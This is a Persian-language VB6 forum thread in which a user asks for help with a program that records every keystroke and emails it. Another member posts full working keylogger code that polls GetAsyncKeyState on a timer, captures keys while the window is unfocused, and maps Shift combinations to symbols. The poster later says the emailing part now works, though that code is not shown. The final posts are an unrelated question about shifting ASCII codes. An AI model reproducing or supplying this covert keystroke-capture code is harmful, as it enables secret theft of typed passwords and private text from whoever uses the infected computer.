PDA

View Full Version : سوال: ثبت كليد هاي فشرده شده توسط كيبورد



hamed-lavafi
سه شنبه 01 آذر 1390, 01:01 صبح
سلام دوستان، من يه مشكل مهم دارم كه اگر حل بشه خيلي ممنون ميشم!
يه برنامه نوشتم كه تمامي كلمات تايپ شده توسط كيبورد رو ثبت كنه و ايميلش كنه، اما با API كه كار كردم جواب درستي نميده! فقط حروف انگليسي رو بر ميگردونه و اگر فارسي تايپ بشه بازم انگليسي بر ميگرده، درضمن از هيچ يك از symbol ها هم نميشه استفاده كرد و هنگام فشردن كليد هاي shift و يا control حروف نا مفهومي بر ميگردونه!
اگر كسي از دوستان بتونه يه كد بده كه همه ي كاراكتر هاي فارسي و انگليسي و علامت هارو بدون بروز خطا به من بده خيلي ممنونش ميشم!

takkhal
سه شنبه 01 آذر 1390, 01:22 صبح
دوست عزیز کد اسکی حروف فارسی و انگلیسی فرق میکنه و در مورد حروف بزرگ و کوچک هم همینطور
میتونی براحتی از این کدها استفاده کنی

mr-adler
سه شنبه 01 آذر 1390, 01:42 صبح
هنگام فشردن كليد هاي shift و يا control حروف نا مفهومي بر ميگردونه!
در تکمیل صحبت های دوستمون کد هایی هست که به وسیله انها میشه پایین بودن یا نبودن کلید ها رو مشخص کرد . منظورم کلیدهای شیفت و کنترل و نام لاک و ....

يه برنامه نوشتم كه تمامي كلمات تايپ شده توسط كيبورد رو ثبت كنه و ايميلش كنه
:لبخند:دستتون درد نکنه...:لبخند:

arash020
سه شنبه 01 آذر 1390, 04:14 صبح
ببین :
http://www.eaglevb.blogfa.com/
نمونه برنامه کامل با سورس هست
کاری می خوای یکی از بخش های یکی از برنامه ش هست .

hamed-lavafi
سه شنبه 01 آذر 1390, 09:01 صبح
از همه ي دوستان گل تشكر ميكنم.ببينيد من از كد زير استفاده كردم، شماهم يه تست بكنيد تا منظورمو بفهميد،اين تابع فقط حروف انگليسي بزرگ بر ميگردونه و از علامت ها و اعداد كنار كيبورد هم پشتيباني نميكنه، اگر بتونيد يه سورس ساده كه فقط كليدهاي فشرده شده رو در حالتي كه فرم فوكوس نداره به درستي ثبت كنه ممنون ميشم
اينم كد

Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


()Private Sub Timer1_Timer

For i = 1 To 255

results = 0

(results = GetAsyncKeyState(i

If results <> 0 Then

(text1.tex= text1.text & (Chr(i

End If

Next

End Sub

just4froum
سه شنبه 01 آذر 1390, 16:21 عصر
يادش بخير يه زمانايي چه حوصله اي داشتيم :قهقهه:.

يه textbox و يه timer بگذار روي فرمت بعد
كل كد زير رو توي يك فرم كپي كن اگر خواصتي بريزيشون توي يك module فقط يادت نره private رو public كني.

موفق باشيد.




Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
Timer1.Interval = 1
End Sub


Private Sub Timer1_Timer()
Dim x As Integer, i As Integer
For x = 1 To 256
If x = 16 Or x = 160 Or x = 161 Then GoTo shiftkey
If GetAsyncKeyState(x) = -32767 Then
i = GetAsyncKeyState(x)
If i <> 0 And x > 4 Then
If GetAsyncKeyState(vbKeyShift) <> 0 Then
Text1.Text = Text1.Text & incode_chr_with_shift(x) & " "
Else
Text1.Text = Text1.Text & incode_chr(x) & " "
End If
End If
End If
shiftkey:
Next x
End Sub


Private Function incode_chr_with_shift(code As Integer) As String
Select Case code
Case 8
incode_chr_with_shift = "+BS+"
Case 32
incode_chr_with_shift = "+SP+"
Case 46
incode_chr_with_shift = "+DEL+"
Case 37
incode_chr_with_shift = "+LA+"
Case 39
incode_chr_with_shift = "+RA+"

Case 48
incode_chr_with_shift = ")"
Case 49
incode_chr_with_shift = "!"
Case 50
incode_chr_with_shift = "@"
Case 51
incode_chr_with_shift = "#"
Case 52
incode_chr_with_shift = "$"
Case 53
incode_chr_with_shift = "%"
Case 54
incode_chr_with_shift = "^"
Case 55
incode_chr_with_shift = "&"
Case 56
incode_chr_with_shift = "*"
Case 57
incode_chr_with_shift = "("
Case 65
incode_chr_with_shift = "A"
Case 66
incode_chr_with_shift = "B"
Case 67
incode_chr_with_shift = "C"
Case 68
incode_chr_with_shift = "D"
Case 69
incode_chr_with_shift = "E"
Case 70
incode_chr_with_shift = "F"
Case 71
incode_chr_with_shift = "G"
Case 72
incode_chr_with_shift = "H"
Case 73
incode_chr_with_shift = "I"
Case 74
incode_chr_with_shift = "J"
Case 75
incode_chr_with_shift = "K"
Case 76
incode_chr_with_shift = "L"
Case 77
incode_chr_with_shift = "M"
Case 78
incode_chr_with_shift = "N"
Case 79
incode_chr_with_shift = "O"
Case 80
incode_chr_with_shift = "P"
Case 81
incode_chr_with_shift = "Q"
Case 82
incode_chr_with_shift = "R"
Case 83
incode_chr_with_shift = "S"
Case 84
incode_chr_with_shift = "T"
Case 85
incode_chr_with_shift = "U"
Case 86
incode_chr_with_shift = "V"
Case 87
incode_chr_with_shift = "W"
Case 88
incode_chr_with_shift = "X"
Case 89
incode_chr_with_shift = "Y"
Case 90
incode_chr_with_shift = "Z"
Case 96
incode_chr_with_shift = "0"
Case 97
incode_chr_with_shift = "1"
Case 98
incode_chr_with_shift = "2"
Case 99
incode_chr_with_shift = "3"
Case 100
incode_chr_with_shift = "4"
Case 101
incode_chr_with_shift = "5"
Case 102
incode_chr_with_shift = "6"
Case 103
incode_chr_with_shift = "7"
Case 104
incode_chr_with_shift = "8"
Case 105
incode_chr_with_shift = "9"
Case 106
incode_chr_with_shift = "*"
Case 107
incode_chr_with_shift = "+"
Case 109
incode_chr_with_shift = "-"
Case 110
incode_chr_with_shift = "."
Case 111
incode_chr_with_shift = "/"
Case 187
incode_chr_with_shift = "+"
Case 188
incode_chr_with_shift = "<"
Case 189
incode_chr_with_shift = "_"
Case 190
incode_chr_with_shift = ">"
Case 191
incode_chr_with_shift = "?"
Case 192
incode_chr_with_shift = "~"
Case 219
incode_chr_with_shift = "{"
Case 220
incode_chr_with_shift = "|"
Case 221
incode_chr_with_shift = "}"
Case Else
incode_chr_with_shift = ""
End Select
End Function

Private Function incode_chr(code As Integer) As String
Select Case code
Case 8
incode_chr = "-BS-"
Case 32
incode_chr = "-SP-"
Case 46
incode_chr = "-DEL-"
Case 37
incode_chr = "-LA-"
Case 39
incode_chr = "-RA-"

Case 48
incode_chr = "0"
Case 49
incode_chr = "1"
Case 50
incode_chr = "2"
Case 51
incode_chr = "3"
Case 52
incode_chr = "4"
Case 53
incode_chr = "5"
Case 54
incode_chr = "6"
Case 55
incode_chr = "7"
Case 56
incode_chr = "8"
Case 57
incode_chr = "9"
Case 65
incode_chr = "a"
Case 66
incode_chr = "b"
Case 67
incode_chr = "c"
Case 68
incode_chr = "d"
Case 69
incode_chr = "e"
Case 70
incode_chr = "f"
Case 71
incode_chr = "g"
Case 72
incode_chr = "h"
Case 73
incode_chr = "i"
Case 74
incode_chr = "j"
Case 75
incode_chr = "k"
Case 76
incode_chr = "l"
Case 77
incode_chr = "m"
Case 78
incode_chr = "n"
Case 79
incode_chr = "o"
Case 80
incode_chr = "p"
Case 81
incode_chr = "q"
Case 82
incode_chr = "r"
Case 83
incode_chr = "s"
Case 84
incode_chr = "t"
Case 85
incode_chr = "u"
Case 86
incode_chr = "v"
Case 87
incode_chr = "w"
Case 88
incode_chr = "x"
Case 89
incode_chr = "y"
Case 90
incode_chr = "z"
Case 96
incode_chr = "0"
Case 97
incode_chr = "1"
Case 98
incode_chr = "2"
Case 99
incode_chr = "3"
Case 100
incode_chr = "4"
Case 101
incode_chr = "5"
Case 102
incode_chr = "6"
Case 103
incode_chr = "7"
Case 104
incode_chr = "8"
Case 105
incode_chr = "9"
Case 106
incode_chr = "*"
Case 107
incode_chr = "+"
Case 109
incode_chr = "-"
Case 110
incode_chr = "."
Case 111
incode_chr = "/"
Case 187
incode_chr = "="
Case 188
incode_chr = ","
Case 189
incode_chr = "-"
Case 190
incode_chr = "."
Case 191
incode_chr = "/"
Case 192
incode_chr = "`"
Case 219
incode_chr = "["
Case 220
incode_chr = "\"
Case 221
incode_chr = "]"
Case Else
incode_chr = ""
End Select
End Function

just4froum
سه شنبه 01 آذر 1390, 16:39 عصر
اينو يادم رفت بگم :

برنامه بالا فقط كليد هايي كه بدرد تايپ كردن مي خوره رو نشون ميده مثلا در arrow ها راست و چپ را نشون ميده ولي بالا و پايين رو نشون نميده.

موفق باشيد

hamed-lavafi
سه شنبه 01 آذر 1390, 17:38 عصر
خيلي خيلي ممنون! خودم اين كارو براي shift و alt كرده بودم اما فكر ميكردم راه خوبي نيست و شايد يه تابع بهتر هم باشه كه كارو آسون كنه!
بازم ممنون،موفق باشي...

xdsfcx
سه شنبه 01 آذر 1390, 22:03 عصر
یه سوال داشتم بدون استفاده از توابع رشته ای میشه کد اسکی یک حرف رو برد بالا.مثلا اگر حرف a ورودی بود تبدیل بشه به e کد اسکی 4 تا اضافه شده

just4froum
چهارشنبه 02 آذر 1390, 06:45 صبح
با سلام و خوش آمد گويي به شما كاربر جديد

اگر سوالتون رو متوجه شده باشم توي رويداد key_press اينو بزنيد.

keyascii = keyascii + 4

موفق باشيد

hamed-lavafi
جمعه 04 آذر 1390, 14:27 عصر
فكر نكنم بشه keyascii رو تغيير داد،مگر اينكه اونو توي يك متغير عددي بريزيم و بعد بهش 4 تا اضاف كنيم!

بازم يه مشكل ديگه:گریه:
قسمت ارسال ايميلم درست كار نميكنه! كسي از دوستان ميتونه يه سورس به من بده كه فقط با زدن دكمه ي ارسال يك ايميل ارسال كنه و تنظيماتش از قبل براي ارسال ايميل به ياهو و با ساير موارد از قبل مشخص شده، باشه!ممنون ميشم

hamed-lavafi
جمعه 04 آذر 1390, 23:40 عصر
درستش كردم دوستان، ديگه نيازي نيست ممنون!

sr2m72
پنج شنبه 24 آذر 1390, 14:44 عصر
یه سوال داشتم بدون استفاده از توابع رشته ای میشه کد اسکی یک حرف رو برد بالا.مثلا اگر حرف a ورودی بود تبدیل بشه به e کد اسکی 4 تا اضافه شده

توی رویداد KeyPress این رو بنویس:
Print Chr(KeyAscii + 4)
حالا اگه a رو بزنی e رو چاپ میکنه.